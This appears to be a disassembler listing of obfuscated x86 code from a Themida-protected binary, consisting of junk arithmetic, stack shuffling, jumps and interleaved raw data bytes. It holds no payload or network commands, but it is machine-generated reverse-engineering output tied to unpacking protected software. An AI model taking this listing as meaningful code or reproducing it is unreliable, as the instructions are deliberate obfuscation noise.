; ---------------------------------------------------------------------------


loc_5A8183:				; CODE XREF: Themida_:005A11DAj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	edi, [esp]
		add	esp, 4
		sub	[esp+4], edx
		pop	edx
		jmp	loc_5A5C44
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 1000000h, 3C8759CFh,	0AEAEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A81B6:				; CODE XREF: Themida_:005A3484j
		add	ebp, 9003AF3h
		add	ebp, edi
		push	4B7Dh
		mov	[esp], esi
		mov	esi, 9003AF3h
		sub	ebp, 682054F6h
		sub	ebp, esi
		add	ebp, 682054F6h
		mov	esi, [esp]
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, ebx
		pop	ebx
		push	ebx
		mov	ebx, 58CE49ECh
		push	edi
		push	ecx
		jmp	loc_5A5AB0
; ---------------------------------------------------------------------------
		db 1
		dd 0E9815BD9h, 4, 0FF4C3BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8211:				; CODE XREF: Themida_:0059993Aj
		pop	dword ptr [esp]
		jmp	loc_5A6114
; ---------------------------------------------------------------------------
		db 50h,	0FFh, 74h
		dd 48B0424h, 4C48124h, 8F000000h, 248B2404h, 0F329E924h
		dd 3489FFFFh, 0B8A0E924h, 0B0BEFFFFh, 1172F75h,	0ADE95EF3h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8247:				; CODE XREF: Themida_:005AB0D6j
		xchg	eax, edx
		not	eax
		xchg	eax, edx
		push	edx
		not	dword ptr [esp]
		jmp	loc_59F831
; ---------------------------------------------------------------------------
		dd 76D7BB53h, 8FE919DDh
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A825F:				; CODE XREF: Themida_:005979DFj
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_5A8026
; ---------------------------------------------------------------------------
		dd 4C481h, 2C870000h, 24248B24h, 9C240408h, 0FEDC07E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8285:				; CODE XREF: Themida_:005A4F79j
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		pop	eax
		push	esi
		push	ebx
		push	0ED76F96h
		pop	ebx
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_5A4B61
; ---------------------------------------------------------------------------
		db 68h,	1, 0
		dd 215E0000h, 2434FFF0h, 5324348Bh, 61E9E389h, 81FFFFDBh
		dd 0CE05B1E2h, 0B2F28138h, 89004E00h, 5380E9D7h, 487FFFFh
		dd 0EC835C24h, 24048904h, 81E18951h, 4C1h, 4E98300h, 5C240C87h
		dd 0B9240C89h, 384D1D63h, 0E959C889h, 742h, 240C8B66h
		dd 3C0C68h, 24348900h, 0ED68E689h, 0E9000028h, 0FFFF596Ah
; ---------------------------------------------------------------------------


loc_5A830C:				; CODE XREF: Themida_:005A729Aj
		mov	edx, esp
		push	ecx
		mov	ecx, 228658FEh
		jmp	loc_5A0CA9
; ---------------------------------------------------------------------------
		db 56h,	68h, 1
		dd 8900001Bh, 0F8BB241Ch, 811FD26Fh, 122489C3h,	7DEB8155h
		dd 8974E494h, 0F3015BDEh, 3EBF575Eh, 832D9135h,	0EF8301C7h
		dd 1EF83FFh, 5063CF81h,	0D9E95972h, 5C000020h, 5C24048Fh
		dd 64CE68h, 24148900h, 4EC81h, 1C890000h, 0EAE95424h, 88FFFEDDh
		dd 0B6E95AF3h
		db 0E7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A8377:				; CODE XREF: Themida_:00596999j
		mov	edx, 27951B01h
		push	1B59h
		jmp	loc_59CCAD
; ---------------------------------------------------------------------------
		dw 0C31h
		dd 240C3324h, 0FF8524E9h, 45E958FFh, 0FFFFFF69h, 95E92434h
		db 42h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A839F:				; CODE XREF: Themida_:0059EB36j
		sub	eax, ebx
		add	eax, 17926AB1h
		pop	ebx
		add	eax, 5DA70336h
		add	eax, ecx
		jmp	loc_597885
; ---------------------------------------------------------------------------


loc_5A83B3:				; CODE XREF: Themida_:0059AD70j
		shl	ecx, 1
		xor	ecx, 5F8850DEh
		jmp	loc_59CC87
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 0FFFF0683h
; ---------------------------------------------------------------------------


loc_5A83C8:				; CODE XREF: Themida_:005A317Cj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5A07C1
; ---------------------------------------------------------------------------


loc_5A83F8:				; CODE XREF: Themida_:0059CF50j
		pop	edx
		add	edx, 72D33ABEh
		pop	ebx
		not	edx
		inc	edx
		jmp	loc_5A7AE3
; ---------------------------------------------------------------------------
		dd 0E959CF89h, 0FFFF9638h, 53AFEB81h, 6CE97622h, 8F000028h
		dd 2E92404h
		db 0E7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A8423:				; CODE XREF: Themida_:005A0BACj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 2EC051ACh
		sub	[esp+4], ebx
		jmp	loc_5A3D44
; ---------------------------------------------------------------------------
		dd 0E9240487h, 0FFFF58E9h
; ---------------------------------------------------------------------------


loc_5A8440:				; CODE XREF: Themida_:005A9F64j
		xchg	ebx, [esp]
		jmp	loc_598ACD
; ---------------------------------------------------------------------------
		dd 515AD131h, 0B850595Eh, 1C8F2831h, 612C7C35h,	58C629FEh
		dd 0BF575257h, 1A6E4B0Ah, 5218EF81h, 0E7D14DB6h, 84F8C781h
		dd 8953D8B3h, 5BDA89FBh, 5AD7895Fh, 0F706EFC1h,	6E7C1DFh
		dd 0FF9A02E9h, 2C481FFh, 0E9000000h, 0FFFEDE50h, 0BAh
		dd 0E9CA0100h, 0FFFF5B5Bh
; ---------------------------------------------------------------------------


loc_5A84A0:				; CODE XREF: Themida_:005A2B53j
		mov	[esp], ebp
		jmp	loc_59A5CC
; ---------------------------------------------------------------------------
		dd 240C8966h, 0D1F6D188h, 8B66CA88h, 0C483240Ch, 6E2C002h
		dd 8016CA80h, 0EA8055E2h, 8BD3000Fh, 89532414h,	26EFE9E3h
		dd 248B0000h, 0FFD82824h, 0E95B2434h, 1233h
; ---------------------------------------------------------------------------


loc_5A84E0:				; CODE XREF: Themida_:005A60A9j
		add	esi, 161D039Ah
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, ebp
		sub	ebx, 728B649Ah
		mov	ebp, [esp]
		add	esp, 4
		add	[esp+4], ebx
		mov	ebx, [esp]
		jmp	loc_599C5A
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 4E981h, 28E90000h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A851F:				; CODE XREF: Themida_:00596222j
		sub	edx, 478D71B7h
		sub	edx, edi
		push	eax
		mov	eax, 478D71B7h
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		pop	edi
		not	edx
		shr	edx, 8
		push	esi
		jmp	loc_5A9031
; ---------------------------------------------------------------------------
		dd 0E981E9D1h, 41A03788h, 0FFBAC5E9h, 83C181FFh, 0C1597E2Ch
		dd 0C18104E9h, 0B412A4D5h, 67E9CD01h, 2DFFFF49h, 523663F9h
		dd 0FF5763E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8571:				; CODE XREF: Themida_:005AB352j
		xchg	ecx, [esp]
		jmp	loc_59BA45
; ---------------------------------------------------------------------------


loc_5A8579:				; CODE XREF: Themida_:0059BB16j
		sub	ebx, 74585B04h
		jmp	loc_59EAE6
; ---------------------------------------------------------------------------


loc_5A8584:				; CODE XREF: Themida_:005A89FFj
		push	edx
		mov	edx, 4
		jmp	loc_59AC9D
; ---------------------------------------------------------------------------
		db 0BDh
		dd 5796533Dh, 0E95DEA89h, 543h,	4BBh, 5BDE0100h, 5C243487h
		dd 0FF9808E9h, 0F0E281FFh, 0E919B73Ah, 0FFFF5119h, 4BE56h
		dd 0F0010000h, 8324348Bh, 59E904C4h, 0BDFFFFC5h, 81E4A74Fh
		dd 815DEF01h, 0A1C3AEAh, 81FA0147h, 0A1C3AC2h, 93E95F47h
		dd 83FFFFB7h, 1EE904E9h, 55FFFF6Fh, 557EBF57h, 0C14F4A5Fh
		dd 0F78104E7h, 0BECC23B4h, 555FFD89h, 87240481h, 5E59675Ah
		dd 5A87EE81h, 815D5967h, 110943EFh, 0E9F7293Bh,	0FFFF4E4Ch
; ---------------------------------------------------------------------------


loc_5A8620:				; CODE XREF: Themida_:0059A2F0j
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A0B44
; ---------------------------------------------------------------------------


loc_5A8632:				; CODE XREF: Themida_:005A4A1Aj
		push	4136h
		mov	[esp], eax
		push	ecx
		mov	ecx, 39CD097Ah
		jmp	loc_5A4FDD
; ---------------------------------------------------------------------------
		db 0FEh, 0CAh, 80h
		dd 0C38025EAh, 0D6EB8062h, 0E9C9EB80h, 0FFFF082Ch, 75C1EE81h
		dd 0C6294943h, 3B0DBD55h, 0F5814186h, 6DAD1193h, 38D4E581h
		dd 2AE905E1h, 0C1FFFEE6h, 0E2C107EAh, 0EDBDE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8682:				; CODE XREF: Themida_:005A5DDAj
		shr	esi, 8
		or	esi, 43E3193Dh
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A1BDC
; ---------------------------------------------------------------------------


loc_5A8699:				; CODE XREF: Themida_:00599590j
		sub	ebx, 428716A9h
		jmp	loc_5A6550
; ---------------------------------------------------------------------------
		dd 0DE293135h, 58C78952h, 494F2B2Dh, 5F82924h, 24494F2Bh
		dd 42B0055Fh, 0CB05638Ch, 15A016Ah, 6ACB2DD8h, 0B02D5A01h
		dd 5638C42h, 4782163h, 1124E95Bh, 0C380FFFFh, 5BDE28D5h
		dd 0FFBC63E9h, 4AEC68FFh, 78E94918h, 81000014h,	4C7h, 243C8700h
		dd 4EC815Ch, 89000000h,	74FF2404h, 15E90424h, 89FFFF0Fh
		dd 4C581E5h, 0E9000000h, 0FFFEF9ADh, 8124048Fh,	42404h
		dd 0E95A0000h, 0FFFF3C6Fh, 2414F755h, 53242C8Bh, 0C381E389h
		dd 4, 8704C383h, 66E9241Ch, 81000014h, 0B60DDECAh, 0E89E97Ah
		dd 0DDF6FFFFh, 8876F580h, 0D80059EBh, 83241C8Bh, 460404C4h
		dd 704168h, 240C8900h, 0E1C0CFB1h, 7E9C005h, 5308E1C0h
		dd 8818B450h, 0F92858E7h, 4EC815Bh, 0E9000000h,	0FFFFF7C6h
; ---------------------------------------------------------------------------


loc_5A8788:				; CODE XREF: Themida_:005A0088j
		pop	ebx
		sub	al, bl
		add	al, 94h
		sub	al, 96h
		pop	ebx
		push	ebx
		jmp	loc_5AB4EA
; ---------------------------------------------------------------------------
		dw 0F75Eh
		dd 0BE5652D3h, 2DE90D3Bh, 8108E6C1h, 0EC0321C6h, 0B9F68140h
		dd 816C071Eh, 2B536FE6h, 0CDC6810Ch, 89741E6Ch,	0E2C15EF2h
		dd 5D07E907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A87C6:				; CODE XREF: Themida_:0059B0A3j
		add	eax, 7CBB6D14h
		add	eax, ebx
		push	edx
		mov	edx, 2BB95003h
		inc	edx
		xor	edx, 57023D10h
		sub	eax, edx
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ecx
		jmp	loc_599607
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 0C4810000h, 4, 0FF9150E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8801:				; CODE XREF: Themida_:00599BE3j
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, ebp
		jmp	loc_59D410
; ---------------------------------------------------------------------------


loc_5A8815:				; CODE XREF: Themida_:0059A9DEj
		pop	ebp
		push	ebp
		pop	esi
		pop	ebp
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, offset word_46429E
		push	esi
		jmp	loc_5A9AF9
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 5C06028h, 7ECFC681h,	0D60121CDh, 7ECFEE81h, 0C68121CDh
		dd 5C06028h, 2434335Ah,	33243431h, 665C2434h, 9C240431h
		dd 0FFB9B2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8861:				; CODE XREF: Themida_:0059BBF6j
		sub	ebx, 519458A9h
		jmp	loc_59FA15
; ---------------------------------------------------------------------------


loc_5A886C:				; CODE XREF: Themida_:0059811Aj
		sub	[esp+8], edi
		sub	dword ptr [esp+8], 21696DC1h
		mov	edi, [esp]
		add	esp, 4
		sub	[esp+4], edi
		add	dword ptr [esp+4], 794753FCh
		jmp	loc_59A1B6
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0B8F28104h, 814DD402h, 8340A3C2h, 0BD554AC3h, 979DAF9h
		dd 2C8BEA01h, 0E3895324h, 4C381h, 0C3810000h, 4, 31241C33h
		dd 1DE9241Ch, 53000004h, 1098A6BBh, 5BDD2994h, 5A88E981h
		dd 0A4E92DABh, 35FFFF02h, 97BB6750h, 6D8EE81h, 0C6814FE9h
		dd 68F44221h, 64E9C601h, 0FFFFFFB9h, 835D2434h,	48F04C4h
		dd 89E95C24h, 89FFFED5h, 4EC83E7h, 0E9241489h, 0FFFFD9D0h
; ---------------------------------------------------------------------------


loc_5A8910:				; CODE XREF: Themida_:005A51B3j
		pop	edx
		mov	ecx, edi
		pop	edi
		sub	[esp+8], ecx
		pop	ecx
		pop	ebx
		push	1E2Ah
		mov	[esp], esi
		push	edi
		push	5EA9244Bh
		pop	edi
		sub	edi, 0FDAA1961h
		mov	esi, edi
		pop	edi
		sub	dword ptr [esp+4], 65E9629Eh
		sub	[esp+4], esi
		add	dword ptr [esp+4], 65E9629Eh
		jmp	loc_59A028
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E8C107E8h, 0E0C14008h, 0C899E907h, 0C381FFFFh, 24B2716Eh
		dd 0FF393CE9h, 2474FFFFh, 241C8B04h, 656E68h, 243C8900h
		dd 0C781E789h, 4, 0FF1A01E9h, 57E189FFh, 4EC81h, 6DE90000h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A898F:				; CODE XREF: Themida_:005A3F4Cj
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		push	4
		pop	eax
		jmp	loc_59F5D5
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0ADh
		dd 815C726Ah, 0F80157EDh, 8BE88905h, 0AAE9242Ch
		db 20h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A89C3:				; CODE XREF: Themida_:0059F46Fj
		mov	[esp], eax
		mov	eax, 665F1E03h
		xor	eax, 1C4215Fh
		jmp	loc_597659
; ---------------------------------------------------------------------------


loc_5A89D5:				; CODE XREF: Themida_:00596C1Dj
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5A8584
; ---------------------------------------------------------------------------
		dd 0E9DFF74Fh, 283h, 525AD301h,	0FF7500E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8A15:				; CODE XREF: Themida_:005A2C78j
		add	esi, edi
		sub	esi, 13BA2C18h
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_59C067
; ---------------------------------------------------------------------------
		dd 8AE9D8F7h, 29FFFF2Dh, 87E3E9F3h, 0D8F7FFFFh,	0A4B85053h
		dd 892C2018h, 0D80158C3h, 6D2EE95Bh, 0C481FFFFh, 4, 0FFC5FEE9h
		dd 0C58166FFh, 566BB75h, 2D666AD7h, 1665B3Ah, 0C9F3E9E8h
		dd 0F589FFFFh, 95E95A5Eh, 81FFFF49h, 4C3h, 4EB8300h, 31241C33h
		dd 1C33241Ch, 11A7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8A8A:				; CODE XREF: Themida_:0059C681j
		mov	ecx, 4720448Dh
		jmp	loc_5A2EEB
; ---------------------------------------------------------------------------
		dd 4BF57h, 0EE810000h, 51B151CCh, 0C681FE01h, 51B151CCh
		dd 0FF4A52E9h, 4C481FFh, 31000000h, 0C3315BD8h,	24148B66h
		dd 0FFAB75E9h, 0E9C6FEFFh, 0E2Ah
; ---------------------------------------------------------------------------


loc_5A8AC8:				; CODE XREF: Themida_:00598293j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5AA4C7
; ---------------------------------------------------------------------------


loc_5A8AD7:				; CODE XREF: Themida_:0059FDCDj
		push	dword ptr [esp]
		jmp	loc_5A43A4
; ---------------------------------------------------------------------------
		db 81h
		dd 1679E9C3h, 81D30113h, 1679E9EBh, 3C2E913h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8AF2:				; CODE XREF: Themida_:0059EC2Bj
		pop	ecx
		add	esi, 5F4C2C9Dh
		shr	esi, 8
		xor	esi, 3EB52124h
		jmp	loc_5AA885
; ---------------------------------------------------------------------------


loc_5A8B07:				; CODE XREF: Themida_:005A6B50j
		mov	edi, ebp
		jmp	loc_5984C7
; ---------------------------------------------------------------------------
		dw 5A66h
		dd 6CEA8166h, 0C6D3E950h, 34FFFFFFh, 24048B24h,	8104C483h
		dd 4C4h, 0B238E900h, 1489FFFFh,	47CFE924h, 8B66FFFFh, 4C682404h
		dd 8900005Bh, 0B68243Ch, 54000005h, 8124048Fh, 42404h
		dd 63E90000h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8B57:				; CODE XREF: Themida_:00595F58j
		mov	edi, 290F7C68h
		xor	edi, 290F7C6Ch
		add	ecx, edi
		pop	edi
		push	ebp
		push	ebx
		mov	ebx, 33150784h
		mov	ebp, 0CCEAF880h
		add	ebp, ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5A1FD4
; ---------------------------------------------------------------------------
		dw 68ADh
		dd 19BAh, 0E9242C89h, 0FFFFF119h, 8B241C33h, 14E92424h
		db 2Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8BA7:				; CODE XREF: Themida_:0059EE90j
		pop	ecx
		or	eax, eax
		jz	loc_59C030
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		jmp	loc_5A0EEB
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 83000000h,	348704EEh, 24248B24h, 0FF241C89h
		dd 0FF042474h, 815B2434h, 4C4h,	0A183E900h, 0F581FFFFh
		dd 1EC81583h, 0E95DEE01h, 0FFFF35F8h, 4EC81h, 0DCE90000h
		dd 29FFFEE8h, 50ECE9F7h, 7CBEFFFFh, 0E9426450h,	0FFFF79ADh
; ---------------------------------------------------------------------------


loc_5A8C0C:				; CODE XREF: Themida_:005A6686j
		and	eax, ebp
		jmp	loc_597345
; ---------------------------------------------------------------------------
		db 83h
		dd 348704C6h, 4E61E924h, 0FEBDFFFFh, 4D2FB05Fh,	55A9BB53h
		dd 0DD213C59h, 0FF2D07E9h, 0EB0159FFh, 0FEE9525Dh
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8C3B:				; CODE XREF: Themida_:0059EB1Dj
		mov	eax, 4BEC3116h
		and	ebp, eax
		pop	eax
		xor	ebp, 489B7A0Fh
		xor	eax, ebp
		pop	ebp
		push	edx
		jmp	loc_59C055
; ---------------------------------------------------------------------------


loc_5A8C52:				; CODE XREF: Themida_:00596F07j
		mov	ecx, 20h
		push	edx
		jmp	loc_5998B3
; ---------------------------------------------------------------------------


loc_5A8C5D:				; CODE XREF: Themida_:005A1CECj
		add	esp, 4
		jmp	loc_5A9868
; ---------------------------------------------------------------------------
		dd 4EC81h, 3C890000h, 2BF24h, 66E90000h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A8C7B:				; CODE XREF: Themida_:005994F6j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5A8E9D
; ---------------------------------------------------------------------------


loc_5A8C89:				; CODE XREF: Themida_:00597838j
		pop	esp
		jmp	loc_5A5CCC
; ---------------------------------------------------------------------------
		db 51h
		dd 16E1FB9h, 8BCF097Eh,	0C481240Ch, 4, 0FFC661E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8CA5:				; CODE XREF: Themida_:005A8FBDj
		mov	eax, ebx
		push	eax
		sub	dword ptr [esp], 599E7429h
		pop	ebp
		add	ebp, 599E7429h
		pop	eax
		jmp	loc_59F688
; ---------------------------------------------------------------------------


loc_5A8CBC:				; CODE XREF: Themida_:0059EFACj
		and	esi, 3C057B49h
		add	esi, 116109F0h
		shl	esi, 3
		neg	esi
		inc	esi
		push	ecx
		jmp	loc_5AACEE
; ---------------------------------------------------------------------------
		dd 8904EC83h, 8B542404h, 0E9502404h, 0FFFFC695h, 5C241C33h
		dd 34FFD189h, 89575A24h, 4C781E7h, 81000000h, 4C7h, 243C8700h
		dd 89BE565Ch, 83456D3Dh, 348904ECh, 242C8124h, 68921C6Fh
		dd 83241C8Bh, 5DE904C4h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8D1F:				; CODE XREF: Themida_:0059601Dj
		mov	esi, 91451B5h
		not	esi
		xor	esi, 0CC24A25Bh
		mov	ebx, esi
		pop	esi
		shr	ebx, 5
		jmp	loc_5AAA12
; ---------------------------------------------------------------------------


loc_5A8D37:				; CODE XREF: Themida_:005A96ECj
		add	esp, 4
		push	edx
		mov	edx, 30583F3Ah
		push	edx
		jmp	loc_5A31B0
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E952240Ch, 23C0h
; ---------------------------------------------------------------------------


loc_5A8D50:				; CODE XREF: Themida_:005A4011j
		not	bh
		jmp	loc_598E03
; ---------------------------------------------------------------------------


loc_5A8D57:				; CODE XREF: Themida_:005A7254j
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	77D3h
		mov	[esp], ebx
		mov	ebx, 1CC90F94h
		add	dword ptr [esp+4], 70184815h
		jmp	loc_5A367D
; ---------------------------------------------------------------------------
		dw 1489h
aH8g		db '$h8g',0
		align 2
		dw 0C89h
		dd 8184B524h, 4ECh, 241C8900h, 0FF43F9E9h, 4BAFFh, 6C810000h
		dd 25570424h, 3E96C68h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A8DAF:				; CODE XREF: Themida_:0059EA38j
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_59E446
; ---------------------------------------------------------------------------
		dd 83242489h, 5F042404h, 4C781h, 89510000h, 0F738E9E1h
		dd 6858FFFFh, 688Bh, 0E9241C89h, 0FFFFEE86h, 5A66F300h
		dd 0FF0CD1E9h, 0D8015DFFh, 2404335Bh, 33240431h, 248B2404h
		dd 0C8B6624h, 5DF46824h, 4890000h, 81585424h, 4ECh, 24348900h
		dd 0C681E689h, 4, 0E904EE83h, 0FFFFB14Dh, 1315BA52h, 0E5E962D4h
		dd 89FFFF04h, 47E92404h, 52FFFFB5h, 0E9D88850h,	0FFFFD068h
; ---------------------------------------------------------------------------


loc_5A8E40:				; CODE XREF: Themida_:0059A21Cj
		xor	ecx, 261A06B6h
		dec	ecx
		jmp	loc_5A7BBE
; ---------------------------------------------------------------------------


loc_5A8E4C:				; CODE XREF: Themida_:0059C833j
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	[esp+4], edx
		jmp	loc_5A5BB9
; ---------------------------------------------------------------------------
		db 89h
		dd 0A6E955E0h, 66FFFFA3h, 68240C8Bh, 54CFh, 83241C89h
		dd 895004ECh, 405E0h, 19E90000h, 68FFFFA9h, 6DE0h, 0FF2CF8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8E9D:				; CODE XREF: Themida_:005A8C84j
		push	ecx
		push	55FF66A6h
		pop	ecx
		sub	ecx, 1
		add	ecx, 0AA00995Fh
		add	esi, ecx
		jmp	loc_596608
; ---------------------------------------------------------------------------
		dd 0C8B60F66h, 0E99C5166h, 0FFFECFCCh, 54243489h, 0E924348Bh
		dd 0FFFF4641h, 0E1C0C9FEh, 934FE903h, 0BF57FFFFh, 36D779D9h
		dd 0FFEF22E9h, 8BFD01FFh, 0EC81243Ch, 4, 89240489h, 0FB84E9E0h
		dd 0C981FFFEh, 7EE67130h, 0FFD310E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8F01:				; CODE XREF: Themida_:005AA492j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_59FF53
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 5CC38000h, 6A9F68h, 24148900h,	0E8B15150h, 8008E1C0h
		dd 0C18009F1h, 38C180FFh, 0B259CC88h, 58E2307Dh, 0FF7B79E9h
		dd 83E956FFh, 50FFFFE6h, 0FF98D5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8F49:				; CODE XREF: Themida_:005A9BFAj
		add	esp, 4
		sub	ebp, 51BF376Fh
		shr	ebp, 5
		jmp	loc_596A3E
; ---------------------------------------------------------------------------
		dw 0FBBDh
		dd 0E927707Bh, 0FFFF2CA9h, 0DDF7EB87h, 0DD31EB31h, 0C381EB31h
		dd 1E9149Fh, 16DAE381h,	0E38162C3h, 2D19768Eh, 0BE32E943h
		dd 0D6F7FFFFh, 8146D6F7h, 0F07814E6h, 0B8EE8154h, 21003718h
		dd 1F20E9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8F9E:				; CODE XREF: Themida_:005AA80Fj
		xor	esi, 39404A67h
		add	esi, 95B7523Ch
		add	edx, esi
		pop	esi
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5A793C
; ---------------------------------------------------------------------------


loc_5A8FBC:				; CODE XREF: Themida_:005A995Ej
		push	eax
		jmp	loc_5A8CA5
; ---------------------------------------------------------------------------
		dd offset dword_5AFD68
		dw 8900h
		dd 81B82404h, 5519EC19h, 9A7602BDh, 81D5F70Ch, 59859EC5h
		dd 5DE8298Bh, 0FF74E5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8FE5:				; CODE XREF: Themida_:005A0C6Aj
		mov	edi, 35515220h
		not	edi
		xor	edi, 6F734D58h
		or	edi, 5D8F55D7h
		sub	edi, 295B30D5h
		push	edx
		mov	edx, 26530E02h
		inc	edx
		jmp	loc_5A905E
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 17F46E74h, 24F5C381h, 0EB016E6Ch, 0C3468h, 240C8900h
		dd 6C24F5B9h, 72B7E96Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A902A:				; CODE XREF: Themida_:00599C5Bj
		mov	ebp, esp
		jmp	loc_59F5C1
; ---------------------------------------------------------------------------


loc_5A9031:				; CODE XREF: Themida_:005A853Fj
		mov	esi, 1CB8F7h
		xor	edx, esi
		pop	esi
		mov	ecx, edx
		mov	edx, [esp]
		push	eax
		jmp	loc_5A43AA
; ---------------------------------------------------------------------------
		dd 66D02966h, 8B6FE705h, 0C4832414h, 50406804h,	3C890000h
		dd 0D705E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A905E:				; CODE XREF: Themida_:005A9005j
		sub	edx, 34881B13h
		shr	edx, 8
		not	edx
		xor	edx, 2E840288h
		xor	edx, 0FAF0F3CAh
		xor	edi, edx
		pop	edx
		jmp	loc_59A859
; ---------------------------------------------------------------------------
		db 81h,	0CBh, 0FDh
		dd 0C11D3A66h, 0A7E904EBh, 83FFFFA9h, 0FF5004E8h, 8B042474h
		dd 89532404h, 4C381E3h,	81000000h, 4C3h, 241C8700h, 24048F5Ch
		dd 0FA7CE95Ch, 8159FFFFh, 0C92BFAEBh, 0B9EB8120h, 29D8DD39h
		dd 241C8BD8h, 81E28952h, 4C2h, 4C28300h, 0FF50D3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A90D5:				; CODE XREF: Themida_:0059DA71j
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		movzx	ecx, ax
		push	ecx
		push	esp
		mov	ecx, [esp]
		push	edx
		jmp	loc_5A5A68
; ---------------------------------------------------------------------------
		dw 3431h
		dd 24343324h, 2434FF5Ch, 0FF2434FFh, 0D8E92434h, 54FFFFC8h
		dd 0FED80FE9h, 4B9FFh, 4C010000h, 59590424h, 409BBA52h
		dd 0EA817C8Ch, 56377723h, 8DC2814Ah, 1D9AB36h, 0C1815AD1h
		dd 4, 0E9240C33h, 0FFFF653Ah, 5C5F781h,	0FE89718Ah, 0E9DE295Fh
